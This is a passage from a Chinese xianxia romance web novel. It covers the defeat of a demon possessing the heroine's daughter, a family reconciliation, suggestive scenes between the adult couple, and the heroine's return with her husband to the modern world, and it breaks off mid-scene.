贺流虹在他衣服下握着他光滑白皙的手,轻轻挠他的掌心,“你们刚成婚,盖头都还没揭,想必你还没见过她吧。” 景雍点了下头,“不知道她会不会喜欢我。” 贺流虹挑开他的盖头,在朦胧烛光下含笑打量他忐忑的模样。 他皮肤皙白唇色嫣红,长睫轻颤着,瞳孔中倒映着贺流虹的一只越来越不规矩的手,嘴角终于溢出一声轻吟。 贺流虹道:“小师叔,你这么好看,干脆别和她成婚了,和我私奔吧。” 她把景雍推倒在床,景雍的身体顺从地后仰,低声道:“好,那你要一直对我负责。” 贺流虹在床上跟他玩了一会儿自己醋自己的游戏,先过了一把瘾,景雍留着一身被欺负过的印子,慢吞吞穿好衣服,就被她领着来到一副画前。 画是正面朝下盖在桌面上的,瞧不见内容,显得神神秘秘。 贺流虹有些兴奋地说道:“小霓送我们的礼物,进里面去瞧瞧?” 景雍点头说好,便立刻被她拉着进入画中。 他睁开眼,看清自己在画中的模样,脸就瞬间烫起来,红晕飞快沿着雪白的皮肤蔓延,将整个身体都染成鲜艳的绯色。 在他的对面,有一面一人高的铜镜,清晰地映出他此刻的姿态,他被红色的丝带绑在一个既像椅子又像床的、又冷又硬的器物上,身上穿的很难算得上是一件衣服,挡不住任何兴味盎然的眼神。 贺流虹啧啧称奇,站在画外还没觉得怎么样,这一进到画中,成了画中之人,顿时就差点连魂都被小师叔勾跑了。 她克制着自己立刻去欺负小师叔的冲动,反而不紧不慢地将这间屋子里所有的匣子都打开,随后被里面各式各样的好宝贝迷花了眼。 景雍遭她玩弄许多年了,匣子里的那些好宝贝要用在谁身上,他再清楚不过,只能像一条案板上的鱼,认命地闭着眼,将透着薄粉的身子交到她手上,不时难耐地颤.栗,发出温顺又可怜的呜咽声。 …… 抱着小师叔从画中出来时,他浑身像是刚从水里捞出来一样,湿透了,乌黑的发丝黏在尚未褪尽潮热红晕的脸上,眼神迷离,瞳孔几乎失去焦距,有些肿的嘴唇微张着。 贺流虹一低头,那柔软的红唇就又小幅度地一张一合,条件反射般地向她索求亲吻。 他整个人虽还醒着,但失去思考能力似的,只剩被调校好的下意识反应,好似当真被玩成了一只精致又浪荡的小人偶。 贺流虹今天很有闲情逸致,没有使用清尘术,而是将他放在温热的泉水中,一点一点将他洗干净,顺便再逗一逗他,看他傻呆呆向她打开身体但又偏偏只看不碰,直到把人急哭。 她玩了好半天,最后才帮他穿好衣服,把他放回床上,让他休息。 天快亮了,这个时候贺咏和贺巍差不多也要起床了,两人今天就要回去跟着长老修炼,趁她们还在神月峰,贺流虹去找她们,将去往其他三千小世界游历的打算说了说。 一听归期未定,两个孩子都有些不舍。 贺流虹顿时又觉得要不还是带着两个孩子一起吧。 贺咏一听,又急了,连忙摇头:“娘亲记得偶尔回来看看我就行,我是要留在这里当仙门至尊的!” 大女儿这么有上进心,贺流虹当然要支持:“行吧,未来的仙尊大人。”她留给她半片龙鳞,道:“要是谁欺负你俩了,你就立刻召唤我。” 贺咏高高兴兴接下了。 贺流虹又去问贺巍的意思。 贺巍难得情绪外露,抽抽搭搭地哭起来,瘦弱的身体蜷缩在贺流虹怀里,好不可怜。 她看看贺流虹,又看看姐姐,只觉得两边都难分难舍。 “娘亲还会回来看我们的,对吗?”小孩紧张地看着她,不停地确认,“娘亲不会不要我的,对吧?” 这个意思也很明显了,舍不得归舍不得,但是日子还是要跟姐姐一起过。 贺流虹亲了亲她有些苍白的小脸蛋,“不能再哭了,再哭我就要心疼了。” 找两个女儿聊完,她又去见了贺小霓。 贺小霓在水月镜闷了几百年,对镜子外面的世界的新鲜感都还没过去,所以也不想这么快就去别的地方。 贺流虹起身告别,顺带要了几幅画回去和小师叔一起欣赏。 景雍一醒过来,看见床边坐着贺流虹,心里暖融融,带着一身还新鲜的痕迹坐起身来,动作间不知牵扯到哪里,闷哼一声。 贺流虹伸手探到他后腰,“小师叔,哪里疼,我帮你揉揉?” 景雍怕她又拽着他到什么画中去,连忙道:“不,我不疼,我……我适应一下就好了。” 他紧接着又问:“你身上怎么有咏儿和巍儿屋子里的味道?” 贺流虹告诉他自己去见过两个女儿和妹妹,又笑着望向他,“看来我只能拐走小师叔一个人了。” 景雍心中却悄悄涌现出别样的满足感。 只有他,只有她和他,再没有旁人打扰,没有旁人分走她的情感。 他的脸上流露出迫不及待的神情,“你打算什么时候带我离开?” 贺流虹道:“我要再闭关一段时间,最多半年,将通往三千小世界的通道加固一下,到时候就能和小师叔去蜜月旅行啦。” 景雍总是从她嘴里听到蜜月这个词,仿佛当真有蜜水在心里化开。 他有些留恋地看她一眼,虽不舍又要分开,但还是懂事地点头,“你安心闭关,我会等你。” 贺流虹捏了捏他的脸,道:“照顾好两个女儿,尤其是巍儿,她在胎中便有不足。” 景雍隐隐有些内疚,觉得是自己当初不小心,才让小女儿变成如今这副模样,让贺流虹也跟着担心。 贺流虹一眼就看出来了,本来都打算说完去闭关了,站起到一半又坐回床边,搂着他好一顿亲,哭笑不得安慰道:“我的小师叔,你又在胡思乱想些什么。” 她抱着小师叔这里揉一下那里捏一下,直把人又弄得呼吸急促眼神发痴,这才大发慈悲地放过,摆摆手闭关去了。 趁着离开之前的最后一次闭关,贺流虹继续尝试在天外无数世界中寻找自己原来的世界,只是三千世界如同浩瀚星辰,想要从中找到,不亚于大海捞针。 距离半年的约定还差几天时,她终于有所收获,确定了它的位置。 正迫不及待想要分出一缕神识去瞧瞧她穿越之后发生了哪些变化,手中的半片龙鳞忽然闪烁不停。 意识到贺咏贺巍可能遇到麻烦,她立即收回所有神识,出关寻人。 贺咏守在外面,一见到她就急忙说道:“娘亲,贺巍和爹爹全都不见了!” 贺流虹安抚快要急哭了 的大女儿,问:“具体什么情况,你慢慢说。” “我和贺巍偷跑出宗门去玩,一转身贺巍就消失了,我以为她又去医仙谷偷学医术,结果找了很多地方都没找到她,就回家告诉爹爹,爹爹也出门去找她,可是好多天过去,连爹爹也没有回来。” 贺流虹呼吸一滞,怎么闭个关出来小师叔和孩子一起丢了,这下可亏大了。 她没再耽搁,立刻发动整个仙盟去寻人,她的神识如同无数触手向外张开,形成一张看不见尽头的网,几乎将整个修真界笼罩其中。 此刻的修真界,无论身在哪个角落,都隐约感到一股骇人威压从天际压下,叫人连呼吸都有些不畅。 这样的状况没有持续太久,贺流虹很快就在纷乱繁杂的讯息中分辨出两道熟悉的身影。 她瞬间出现在两人跟前,疑惑道:“巍儿,你在对你爹爹做什么?” 景雍晕倒着,贺巍手上的刀若即若离地贴着景雍的脖颈划过来划过去,闻言回过头来,露出属于孩子的天真笑容:“娘亲,我就知道你会找到我的。” 对于贺流虹的出现,她一点也不意外,似乎是从一开始就在等着被找到。 贺流虹打量这个孩子的动作和神态,有时候能看出来贺巍的影子,是这十几年来所熟悉的模样,但又偶尔流露出不同。 她皱着眉,质问道:“你是谁?” “娘亲这么快就不认我了吗,我是贺巍啊。”那张苍白瘦弱的小脸上流露出怯懦可怜的神情,和意识里的小女儿没有任何不同。 贺流虹却没有说话,眼里遍布阴霾,她又感受到那丝丝缕缕的、久违的妖气。 贺巍的脸上露出了乖张的笑容:“可是我还是很喜欢娘亲。” 贺流虹冷声开口:“郑长安,你真是阴魂不散。不要喊我娘亲,一个几万岁的妖这么喊怪变态的。” 即便被道破身份,郑长安还是顶着贺巍那张孩子气的脸,委屈兮兮地问:“这么多年我一直想方设法讨娘亲欢心,一得知我是妖,娘亲就不要我了吗?” 泪水淌过那张稚嫩瘦弱的脸,眼里的悲伤让贺流虹为之一颤。 小女儿的魂魄依然存在于这具瘦小的身体里,真正的贺巍还活着,正在无意识地哭泣。 她原本要趁对方不备,出手送对方上路,意识到这一点,手心蓄满的灵力都散了。 郑长安难怪有恃无恐,手中不仅捏着小师叔的命,还捏着贺巍的。 她或许能救下小师叔,但是一旦对郑长安动手,小女儿的魂魄也会一同消散。 “郑长安,说吧,你想要什么?” 她已经隐隐有所猜测,忍不住在心里大骂死去的周荡两百遍,并为他形消神灭不能挖出来鞭尸感到遗憾。 那厮当初真话掺着假话,说得有鼻子有眼,好像当真是为了用自己的命换她放过郑吟,其实是在帮助只剩一缕残魄的郑长安续命! “贺巍”乖巧地开口:“我好喜欢娘亲,想成为和娘亲一样的人族,娘亲要是不帮我,那巍儿和爹爹就只能一起去死了。” 她的刀尖已经刺向了景雍的心口,另一只手则是点了点自己的眉心,只要再用些力,沉睡在其中的属于贺巍的魂魄就会破碎。 她盯着贺流虹的脸,被她过分沉着的表情激怒,“难道你还想着离开这方世界自由自在吗,凭什么你们人族就能如此享乐,每次看到你们团圆和乐,我就想将你们全杀光!” 贺流虹反问:“既然这么恨,为什么还想要转换血脉,变成真正的人呢。” “这不关你的事。”“贺巍”拧着眉,年幼的脸上同时出现郑长安的暴戾,和来自沉睡的魂魄的泪水,看起来很是矛盾诡异。 她抬手胡乱擦去脸颊的泪水,但又有更多的泪水涌出来,只能恶狠狠地自己骂自己:“哭什么哭!” 随后望向贺流虹,将手上的刀刺进景雍心口半分,“我给你一炷香时间,主动献出你的躯壳,助我完成血脉转换仪式,乾坤珠在你手里,你知道怎么做最完美。” 景雍幽幽转醒,弄清楚眼前局面,便紧盯着贺流虹,哀求道:“不,阿虹,别答应她。” 郑长安有些得意,“娘亲,快些开始吧,我已经提前告诉了爹爹一切,爹爹会感谢你的付出的。”她再次抬手点点眉心,“还有你的巍儿。” 景雍还是一错不错地望着贺流虹,轻轻摇头:“不,不要,我不要你死……” 贺流虹朝他笑了笑,有些无奈:“可是你和巍儿要怎么办呢。” 郑长安和景雍并肩坐着,像是有意要勾起贺流虹心中对于家人的温情。 不愧是从景雍肚子里生出来的,双生子整体看来虽更像贺流虹,但眉眼都和景雍生得一样出色,尤其是贺巍。 一大一小只是这样简单地坐在一起,就能令人想起往日一家四口相处的日子。 她像往常一样向贺流虹撒娇:“娘亲,你到底喜不喜欢巍儿呀。” 贺流虹张开手掌,乾坤珠躺在手心,眼底划过晦涩难懂的光,一副妥协的语气,道:“来吧。” 大女儿就在此时找了过来,疾呼道:“贺巍,你拿刀指着爹爹做什么?” 郑长安没理会她,只神采奕然地盯着贺流虹,松开景雍,站起身来朝贺流虹走去,眼中涌动着渴望和兴奋,这么多年,终于可以如愿…… 就在这时候,一道灵力从背后打向她,她浑身一颤,吐出血来,随后,贺巍那具幼小的身体失去生命力一般栽倒在地上。 贺咏再次发出惊叫,不可思议地望向景雍:“阿爹,你为什么要伤巍儿?” 景雍双手剧烈地颤抖着,盯着贺咏怀里一动不动的小女儿望了一眼,又无助地望向贺流虹:“我、我不想你死……” 贺流虹像是没听见他说话,只紧紧盯着贺巍的脸。 果然,一缕细弱到近乎透明的妖魄从小孩眉心钻出。 贺流虹终于等到郑长安从小女儿身上离开,迅猛出手,一道强横的灵力朝那缕妖魄打过去。 “长安!” 熟悉的呼唤声传来,郑吟及时出现,用身体护住那缕魂魄。 贺流虹这一下完全没收力,打在郑吟心口,那里的血立刻止不住地从心脏涌出。 郑吟跌倒在地,被郑长安抱住。 化出人形的郑长安脸色惨白毫无血色,既害怕抱得太用力会使郑吟的血流得更多,又担心不抱紧一点就会永远失去对方。 她的眼睛依旧像一只猫,机敏而漂亮,只是哭得比任何一个人都要悲怆。 郑吟扯动嘴角,气若游丝道:“长安,不要再犯傻了,好不好?” “我错了,母亲,我再也不这样了,我后悔了母亲,你别死……” 郑吟用指尖描摹她眉眼的形状,露出一抹笑容,“在凡界的时候,大家说一只狸猫怎会活上数十年,恐怕是一只妖。我就想着,在你心里,我是什么,如果能做你的母亲就好了,我的长安是那么聪慧矫健。” “母亲,从你为我取名开始,你就是我的母亲,长安错了,长安只想母亲好好活着,再也不贪心了,母亲活着就好。” 郑长安哭得越发伤心,几乎要喘不过气来,断断续续地说着,“长安一点也、也不希望能堂堂正正陪在母亲身边,做母亲的女儿,长安真的错了……” “错的人是我,”郑吟的眼睛已经疲惫地快要睁不开,声音越来越微弱,“那时候我不该跟你说‘要是你不是一只妖就好了’,我想说……要是这世上没有谁天生卑劣,谁生来高贵,没有‘历来如此’‘应当如此’‘必须如此’,没有妖族与人族之分,那该有多好。” 贺流虹走近她们,恰好对上她的眼睛,就听她说道:“贺盟主,可不可以求你,就让我用这条命替她赎罪,她已经后悔了,就让她发下誓言,从今往后再也不踏足人族地界。” 她为了护住郑长安被伤及心脉,的确快要活不久了。 贺流虹摇摆不定,用一个最好的医修的命换一只差点害死她的小猫咪的命,是否是明智的。 郑长安显然觉得这不值得,她将脸埋在郑吟怀中,满是依恋地喃喃低语:“不,我不会让母亲死的,我会和母亲永远在一起。” 她说完,便将全部力量化作温润的灵气,融入郑吟的心脏。 那里的血立即就止住了,伤口也消失不见,像是从未发生过任何意外。 郑吟恢复过来,坐在原地呆愣了很久,抬手摸了摸自己的心口,久久不发一言。 贺流虹身后有个烂摊子要收拾,也不知该如何面对她,于是转身抱起贺巍,带着小师 叔还有贺咏回了神月峰。 【正文完】 第70章 第70章只有你才能解的药 景雍被“贺巍”封印了修为,贺巍侥幸没有伤到要害,比起身上的伤,倒是魂魄更为虚弱。 由于这个意外,期待已久的蜜月旅行不得不延期,景雍日夜不休守在小女儿身边,除了贺流虹,谁也喊不走。 过了大半个月,小孩恢复了清醒,贺流虹这才知道这么多年她的魂魄一直对外界保持着知觉,眼睁睁看着自己的身体被占着,却什么都做不了。 贺流虹知道灵魂被困住的折磨,对这个孩子格外心疼,这段日子陪伴在小女儿身边的时间比这么多年加在一起还要多。 十三岁的孩子说大不大,说小也不小,很多事情都懂了,差点被自己的父亲杀死,尽管父亲是为了救母亲。 她不愿和景雍说话。 大女儿更是从不出现在有景雍在的场合,就算不小心遇到,也立刻扭头就跑。 景雍更失落了,入了夜万籁俱寂,便一个人躲在屋子里黯然神伤。 贺流虹一个头两个大,好不容易解决了外面的麻烦,自家人还闹起家庭矛盾了。 她先从小师叔这个成年人下手。 小师叔见她进屋,便将头低下头,羞愧道:“阿虹,我没脸见你。” 贺流虹呆了呆,不解道:“这怎么就成了没脸见我呢,我也没生你气啊。” 景雍说道:“我明知你心疼巍儿,却还是狠心对巍儿下手了。” 贺流虹又好气又好笑地揉了揉眉心,“你也只是为了救我。要怪就怪那只猫,还有周荡那个死一千遍也不足惜的老东西。” 景雍紧紧攥着袖子,好久都没开口,身子轻轻颤抖着。 她伸手挑着他的下巴,将他的脸抬起,那张脸像被风雨摧残的海棠花,艳丽的眉眼一片潮湿,哭得我见犹怜。 “哎,哎,你哭什么。”她不住地叹气,想了想,俯身吻住那红得诱人的嘴唇。 一吻作罢,景雍只顾着喘,再也顾不上哭了。 贺流虹抬手搭在他后脖颈,略带一些力气地捏了捏,带着些暧昧,但又透着几分训诫的意味,不急不缓开口:“我知道你在为什么纠结难过,但我确实不会怪你这次做出的选择。” 她再次抬起他的下巴,站在他面前垂眸看着他,“小师叔,我不能说你做得对,也不能说你做得不对,我想说的是,你根本无需想那么多,因为你唯一需要做好的事情,就是爱我,全心全意爱我。” 夜里突如其来的疾风猛得撞开窗户,吹灭那盏唯一的光源,景雍眼前骤然黑暗,只有贺流虹的呼吸声响起在耳边。 他抱住了她,有种得到救赎的感觉,纠结摇摆了数月的心中一片安定。 是的,他唯一需要做的,就是全心全意爱她,他唯一渴求的,就是她的爱。 …… 次日开始,家里的气氛变得丝滑很多,至少小师叔不会再愁眉苦脸地对着她。 两个女儿对贺流虹的态度没什么变化,对景雍这个父亲虽然不再有明显的抵触,但也不会再一见面就扭头跑远。 贺流虹虽然开导过小师叔别多想,但他还是一直在有意讨好两个女儿,试图回到以前。 于是时间又推后了几个月。 直到两个女儿受不了,催贺流虹快点带着他去旅行。 贺流虹半是认真半是玩笑地说道:“他总怕你们还是怪他,得不到原谅,他是不会跟我走的。” 贺咏和贺巍对视一眼,最后由贺咏开了口,青涩稚嫩的脸庞上有着故作老成的无奈:“我们都知道,虽然我们是从爹爹的肚子里生出来的,但是娘亲才是爹爹心中最亲近的人,娘亲和爹爹才是一对,我们迟早是要被娘亲爹爹丢出去自己生活的,就是长好了羽毛被踢出巢的小鸟那样。” 她手脚并用地跟贺流虹比划着。 贺流虹笑道:“我女儿真可爱。”摸了摸她的小脑瓜。 贺巍不甘心地把脑袋凑到她手边,“娘亲,我呢,我不可爱吗。” 贺流虹一脸严肃地说道:“你当然也可爱,要说你和姐姐谁更可爱,我恐怕冥思苦想一辈子也想不出来。” 两个孩子笑得险些在地上打起滚。 气氛一时变得很轻松,景雍松了一口气,拿出制作的护身符递给她们,道:“我们出远门,你和巍儿要保护好自己。” 一对上他,贺咏的笑容僵在脸上,不自在地扭了扭头,不肯接那护身符。 景雍无助地看向贺流虹。 贺流虹见她这漂亮小师叔平时不仅要在床上被她弄哭,如今还要被亲自生出来的孩子弄哭,不禁有些怜爱了。 她清了清嗓子,一脸正色地问:“咏儿为什么不接,那是你爹爹亲手为你们两个做的护身符。” 贺咏背着两只手,认真看向景雍,道:“阿爹,你不必再这样费心求我们原谅了,我和巍儿已经不怪你了。我和你一样爱母亲,所以我理解你那天的做法,换成是我,恐怕也会做出一样的选择。” 说到这里,她停下来,看向一起吃饭一起睡觉一起撒欢的妹妹,“但是,但是只想一想到我也可能像巍儿一样被你舍弃,我就不想再当你的孩子了,不当你的孩子,就不会因为你难过,也就不会怪你。并且还会因为你很爱娘亲而感谢你。” 贺咏望向贺流虹,露出一个满足的笑容,“从今往后,我和巍儿有娘亲就够啦,我们是只属于娘亲的孩子……刚才那声‘阿爹’是我最后一次这么喊你,从现在开始你就只是一个很爱母亲、也被母亲爱着的人,我会很尊敬你,但你再也不是我的爹爹。” 景雍的脸上褪去血色,木然地站在原地。 这时候两个女儿忽然又一起大笑起来,“爹爹,你是不是被我们吓住了?这是我和巍儿提前商量好的,作为你曾经试图放弃巍儿的小小报复。” 见到景雍还是一脸没有回过神来的惨色,两个小孩像往常一样亲亲热热地凑上前哄道:“好啦爹爹,真的只是一个玩笑,你那么爱娘亲,我们高兴还来不及呢,怎么舍得不要你这个爹爹。” 两人又用稚嫩童真的嗓音连连唤了好几声阿爹,故意发出怪腔怪调的声音逗他。 景雍惨白的脸上挂着既像是笑也像是哭的表情,瞧着可爱又可怜,求助般望向贺流虹。 贺流虹作势瞪了两个顽劣的孩子一眼,道:“这么拿爹爹寻开心,真有你们的,跟谁学的。” “那当然是很娘亲学的,我们逗阿爹还有娘亲逗得多么,常常还能听到娘亲在屋里把阿爹欺负得直哭呢,有一回我和巍儿……” 贺流虹赶忙制止她们,“好了好了不能再说了。” 景雍刚刚还脸色惨白,现在又爬满红晕,眼睛湿漉漉的,像醉了一样,抓着贺流虹的袖子才能站稳。 贺流虹被他这副熟透的果实般的诱人模样吸引,心痒痒的,碍于孩子在场,忍着没直接亲上去。 她正愣着,女儿又说话了,指着她怀里美丽苍白的可怜小师叔,叹了口气,像个小大人似的语重心长说道:“娘亲,爹爹是一个傻子,往后你无论去了哪里,变成了什么样子,也都尽量多给他一点爱吧,我想,没了你的爱,他怕是也活不成了。” 两个女儿使着刚学会的御剑术飞走了,贺流虹才回过神来,抱着受惊不浅的小师叔回到室内。 她把人放床上,宽慰道:“孩子到叛逆期了就是这样的,老是想搞点惊世骇俗的动静出来,我小时候也这样,很正常的。” 景雍像是听见了,又像是在走神,坐在床上乖乖地点了下头。 贺流虹欣慰地拍拍他的脸蛋,道:“那你先休息,你看起来有些累,我去帮你取点补身子的药。” 她刚转身 要走,就被缠住了。 景雍从背后紧紧抱住她,全副身心都依赖在她身上,痴痴地呢喃着:“不要离开我……不要丢下我……” 贺流虹笑道:“我只是去给你拿几瓶丹药,身上没带,要去宝库。” 景雍莫名很是急切,握着她的手往自己身上引,将她往床上拽,像是要哭出来一样地开口:“我什么都不需要,我只需要你给的爱。咏儿说得对,没了你的爱,我会死掉的。” 他躺在她身下,主动解自己的衣带,盛情邀请她:“阿虹,可怜可怜我,爱我,现在就爱我,要了我,把我变成你的……” 贺流虹哪里见过这么主动这么热情的小师叔,即便是当初情毒发作,也没见过他如此急不可耐,仿佛她再多愣一会儿就成了罪人。 她药也不取了,门也不出了,意念一动,身后门窗紧闭。 青天白日,就这么在床榻上缠绵起来。 小师叔热情得她甚至都有些招架不住,将染满欲痕的身体主动送上来,不知满足又不知疲倦似的。 她捏着他的下巴狠狠咬下去,故意质问道:“小师叔,怎么这么孟浪,情毒不是早就解了吗,是不是自己偷偷吃了什么药。” 景雍一半清醒一半昏沉,热切地将早已肿起的唇送过去,“是的,吃了药,只有你才能解的药,要是哪一天你不要我,不碰我,我就会毒发,死得很惨。” 在这世上,无论是名利,地位,还是自小相伴的师兄,亲手养大的孩子,都会离他远去。 但是,只要贺流虹还爱他,还要他,他就是这世上最满足的人。 翻涌的爱意使他瑟瑟发抖,他向贺流虹索吻,邀请她品尝自己,向她献上自己的身体、爱、尊严,以及所有他能给她的。 在被卷起的滚烫情浪淹没时,他浑身剧烈颤栗,啜泣不止,一声声央求道:“我什么都不要,我什么都可以给你,只要你能爱我,无论什么时候,都不要离开我,好吗。” 贺流虹心中一片柔软,亲他的嘴角,亲他哭得凄艳的眼睛,又爱又怜地感慨着:“小师叔,我又乖、又痴、又漂亮的小师叔,我怎么舍得离开你,我只想长长久久地爱着你。” (全文完) 【番外合集】 第71章 第71章回家 贺流虹留下出门云游的消息,带着小师叔从修真界销声匿迹。 与此同时,某个时空的一座现代化医院中,有人醒了过来。 贺流虹睁开眼睛,发现自己好像躺在病房里,静悄悄的,窗外的老树绿得很油亮,蝉鸣阵阵,应该正值盛夏。 她记得自己穿越前也是在夏天,难道她离开后这里的时间并没有流逝太多? 病房的门打开,一个体态健朗精神矍铄的老太太走进来,看到窗边站着个人,下意识道:“抱歉我走错门了。”说着忙转身出去。 刚退出去没一会儿,又急匆匆打开门,惊喜道:“乖宝!你醒啦!” 贺流虹想着她刚才的举动,没忍住笑出声。 “姥,你刚才好搞笑。” 老太太也跟着笑,笑着笑着就开始抹眼泪,走过去一点一点检查她醒来后的样子,嘴里念叨着:“跟做梦一样,跟做梦一样……这真的不是我在做梦吧……” 贺流虹抱了抱她,“姥,不是在做梦,我回来了。” 医生过来确认了贺流虹的情况,诧异于她的恢复能力之快。 贺流虹才知道自己这具原来的身体整整昏迷了两年,按照正常情况来说,就算是醒了,也要再做一段时间的康复训练才能重新下地走路。 她说想出去走走,姥姥不放心,怕她摔着碰着,说什么也要让她先坐几天轮椅。 她被推着出去,在医院附近逛着,听姥姥说这两年的变化。 其实也没什么变化,两年也没有那么漫长,普通人的生活还是在按部就班地过着。 这是再寻常不过的一天,只是对她的家人们来说很特别,姥姥欢天喜地通知了家里其他人,妈妈正从工作的地方赶过来。 贺流虹坐在轮椅上,一边听姥姥聊天,一边在寻找着什么。 这是个开放式小公园,正值傍晚,不少人在散步或发呆。 走了没多久,就看到行人频频回头望向公园长椅上坐着的某道人影。 那是一个好看得像是直接从画里抠出来的男人,身上自带滤镜一般,皮肤没有一点瑕疵,连一根头发丝都乱得恰到好处,明明夏天还没过去,却平白刮过来一阵清新凉爽的风。 贺流虹瞧了一会儿小师叔的新造型,小师叔的头发变短了,衣服变少了,露出更多漂亮的身体部分。 他像是还不太适用漏出来的一截手臂和腿,不时低下头来查看,然后再抬头四处张望,像是在等着什么很重要的人出现。 贺流虹指了指那边,“姥姥,那人我认识,推我过去打个招呼吧。” 老太太循着她指的方向一瞧,惊奇道:“我还没见过生得这么好的人呢。” 贺流虹说道:“以后你肯定能经常见到。” 轮椅滚到景雍跟前,他先是一喜,然后有些担心地看着坐在椅子上被人推过来的贺流虹。 贺流虹冲他眨眨眼睛,一本正经地打招呼:“好久不见,你怎么越来越好看了。” 景雍又低头瞧了瞧自己这副陌生的造型,有些不好意思地笑道:“谢谢,好久不见。” 其实两人不久之前才亲过。 姥姥看着两人之间涌动着说不清道不明的氛围,奇怪自家乖孙什么时候认识了这么漂亮的人,真有两下子,不愧是她家乖孙。 贺流虹说:“姥,我出院,请他跟我们回家一起庆祝吧。” 姥姥眉开眼笑,“那当然好了,家里都变得更好看了。” 景雍在意识海中与贺流虹沟通,担心地问她:“你的腿怎么了?” 贺流虹遗憾道:“坏了,以后再也欺负不了小师叔了。” 景雍微微蹙着眉,“能用灵力把它治好,假装它自己突然好了吗?” 贺流虹笑着望他,“应该可以吧。” 景雍走过来,替姥姥接过轮椅,推着贺流虹回医院办出院。 当天晚上,贺流虹就回了家。 这么久过去,她有些忘了家里的样子,怀念地这里瞧瞧,那里看看,后面跟着一个同样很好奇的景雍。 想到贺流虹提前跟他说过这个地方才是她真正的家,他就迫不及待想要多熟悉一点,多了解一点。 妈妈,姨妈,舅舅都回来了,一一拥抱了她。 用姥姥的话说,她们家好像命里缺婚姻,不是根本没结婚,就是结一次离一次最后各回各家过日子,所以贺流虹的家里从小只有这几个血缘亲人彼此照顾。 大家凑在一块叽叽喳喳,维持着喧闹又放松的氛围,景雍第一次见到贺流虹流露出现在这副神态,和在他还有女儿面前都不太一样。 他为自己又多了解对方一点而感到高兴。 贺流虹给他胡诌了一个身份,说他是同学哥哥,反正也不怕被怀疑。 景雍还不太适应这个世界的说话方式,安静地坐在贺流虹身边,看贺流虹给他展示这个世界的新鲜事物。 贺流虹趁家里其他人不注意,打开手机前置摄像头,拉着他在沙发上坐下,小声说:“来,小师叔,看看我们这个世界的仙术。” 景雍看着那块清透无比的“镜子”里出现贺流虹和他的脸,两个人肩膀挤着肩膀脸挨着脸,姿势很亲密,于是不自觉露出笑容。 贺流虹在屏幕上点了几下,紧接着景雍那张端正标志的脸就就成了蛇精一样的三角形,瞪着两只突兀的大眼珠子,像是修炼了某种邪修功法走火入魔…… 他连忙抬起手摸了摸自己的脸,可又没感觉到有什么变化,知道自己这是被骗了。 贺流虹趁着身边没人,飞快在他脸上亲了一下。 景雍正想劝她小心别被看见,就看到姥姥走出来,顺手给两人一人发了瓶牛奶,嘴里念念有词:“我乖宝一瓶,我乖宝朋友一瓶,你俩接 着玩吧,吃饭时喊你俩。” 景雍意识到自己显然是被当成了比贺流虹年纪大不了多少的小孩子,顿时耳尖就偷偷红了。 贺流虹趁姥姥转身,又在他脸上亲了一口,胆子大得让景雍的心跳得飞快。 在贺家吃过晚饭,景雍就起身“离开”,贺流虹说要送送他,又想起来自己腿还是“坏”的,就没动。 夜里,家中人都各自睡去,贺流虹坐在卧室,一边刷着手机看网友玩新梗,一边时不时抬眼看一眼房间的空地面。 过了一会儿,一道与这间现代装修的卧室格格不入的身影出现了。 景雍见她一动不动望着自己,解释道:“我还有点不习惯这里的衣服。” 贺流虹捧着脸,支着下巴,“没关系,我小师叔是全世界最好看的人,想穿什么就就穿什么。” 她总是能三言两语就让他喜笑颜开,景雍走到她跟前半蹲下来,层层叠叠的衣袍拖曳在身后的地板上,绸缎一般乌黑的长发散落在她手边和腿上。 他轻轻将手搭在她腿上,愁色像水墨一样在如画的眉眼间晕染开来,关切道:“会疼吗?” 这具身体在病床上无知无觉躺了两年,靠打营养液维持生命,几乎是形销骨立,为了不显得太奇怪,贺流虹也没有急于用灵力修复。 在景雍看来,他神采飞扬的阿虹此时简直成了全世界最可怜的人。 贺流虹说道:“小师叔多陪我一会儿,就不疼了。” “我自然愿意陪你,片刻也舍不得离开你,”景雍面露疑虑,“可是万一你家人发现了怎么办?” 贺流虹说:“那我们小声一些。” 她冲他向来双手,“小师叔,我累了,先抱你可怜的师侄去床上歇息,好吗?” 景雍也觉得她需要立刻歇息,她看上去太虚弱了,与家人重逢的喜悦一定耗光了她最后一点力气,她却还一直等他出现直到现在。 “下回要是累了,就先睡吧,不必一直等我。” 他小心翼翼将她抱到床上,刚一松开,就被抓着手腕一起拽到床上去。 “你怎么能……” “嘘。”贺流虹用一根食指按在他唇上,“都说了,要小声些。” 景雍紧张得身体有些紧绷,不敢相信自己的猜测,强作镇定地提醒她:“阿虹,你不是说你要歇息吗?” 贺流虹点点头,无辜道:“对呀,小师叔不愿陪我歇息吗?以前我们都是一起睡的。” 景雍想到今晚贺流虹在家人面前给他的身份,那显然不是能一起睡觉的关系,红着脸支支吾吾:“我……我会被你家里人发现的,到时候……不好解释。” 贺流虹眨着一双清澈的眼睛,安慰道:“没事的小师叔,她们都睡了,不会发现的。” 景雍明白自己今夜怕是只能满足她,于是只央求道:“那你保证,真的只是一起睡觉,不做别的。” 贺流虹毫不犹豫地保证:“我只和小师叔睡觉,不做别的。” 景雍便放下心来,只睡觉的话是没关系的,他不会被弄得乱七八糟,更不会被弄得连脑子都不清醒了。 他仔细打量贺流虹的卧室,无论是窗帘的颜色,还是架子上摆着的小玩偶,还是头顶的灯,背后的床,鼻尖闻见的完全属于贺流虹的气息,都让他喜欢得不行。 他附在贺流虹耳边,坦白道:“我喜欢和你一起睡觉。” 话刚说完,就感到一只手不安分地摸到他腰上。 他急忙按住,“你答应过我的……” 贺流虹正色道:“我们这里的规矩都是先脱衣服再睡觉,你穿得太多了。” 景雍觉得自己对比起这里的其他人,确实穿得有些太多了,刚才隐去身影在外面的街道上转了一圈,发现大家穿得都只有薄薄的一层,和修真界的区别还挺大的。 所以贺流虹险些将他剥光的时候,他虽有些害臊,但还是顺从地任由她了。 贺流虹解了半天衣服,以前在修真界大家都很讲究,穿得里三层外三层,还不觉得怎么样,一回老家来,顿时觉得这样不行。 她提议道:“小师叔,要不你还是尽快适应一下这里的衣服?” 景雍现在全身只剩一层单薄的里衣,胸口的布料被贺流虹扯散,敞开着露出光滑的大片肌肤,羞得紧闭双眼,轻声“嗯”了一声,小声说道:“现在可以熄灯歇息了吗?” “好,熄灯。”贺流虹打了个响指,灯光消失了。 景雍在黑暗中松了口气,贺流虹的手很自然地伸过来搂他的腰。 家里十分安静,卧室只有两人的呼吸声,贺流虹时隔许久重新回到这个家,根本就睡不着,怀里还搂着个香香的小师叔,更是无法平静。 她又想找点事干。 